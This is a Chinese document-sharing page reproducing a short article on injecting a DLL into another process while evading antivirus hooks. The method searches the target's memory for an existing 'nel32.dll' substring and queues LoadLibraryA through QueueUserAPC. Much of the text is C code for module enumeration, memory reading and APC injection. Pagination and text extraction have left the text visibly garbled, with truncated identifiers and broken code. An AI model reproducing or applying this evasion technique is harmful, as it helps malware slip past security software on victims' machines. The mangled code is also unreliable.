欢迎来到天天文库
浏览记录
ID:24540666
大小:54.50 KB
页数:4页
时间:2018-11-14
《绕过主动防御的代码注入方法思考》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、绕过主动防御的代码注入方法思考~教育资源库 目前大多数的杀软都是hookNtemory和NtUserSetemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。 仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用emory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可! 思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~ 举个例子:假设我是这样注入的: QueueUserAPC((PAP
2、CFUNC)LoadLibraryA,hThread,(ULONG_PTR)param); 我想让上面的param的内容是一个xxx.dll,就可以了,而且要求这个param是在目标进程内存空间 您想到了么?哈哈 答案:直接在目标进程搜索一个这样的字符串nel32.dll就可以啦!因为kernel32.dll这样的字符串是一定存在的,那么为了和kernel32.dll不一样,那就随便使用一下nel32.dll,或者el32.dll,都是可以的啊!最后在往ThreadandInjectDll(char*processName,HANDLEhProcess,DODUL
3、E,de={sizeof(me)}; BOOLfOk=Module32First(hSnapshot,me);if(!fOk){ printf(Module32Firsterror!n); return0;} for(;fOk;fOk=Module32Next(hSnapshot,me)) { printf(%sprocessmodulename=%sn,processName,me.szModule); //取得进程模块基址 if(stricmp(me.szModule,processName)==0) { defaultAddress=(Demory(
4、hProcess,(LPCVOID)defaultAddress,buffer,bufflen,dberOfBytesRead)){ printf(ReadProcessMemoryerror!n); return0;}for(inti=0;i<bufflen-dp(buffer+i,szInjectModName,dwLen)==0) { printf(foundnel32.dllalready!...%sn,buffer+i); while(pCurrentTid) { HANDLEhThread=OpenThread(THREAD_ALL_ACCES
5、S,FA12下一页友情提醒:,特别!LSE,pCurrentTid->dwTid); if(hThread!=NULL) { // //注入DLL到指定进程 // QueueUserAPC((PAPCFUNC)LoadLibraryA,hThread,(ULONG_PTR)(defaultAddress+i)); } printf(TID:%dn,pCurrentTid->dwTid); pCurrentTid=pCurrentTid->pNext; } break; }} return0;}上一页12友情提醒:
6、,特别!
此文档下载收益归作者所有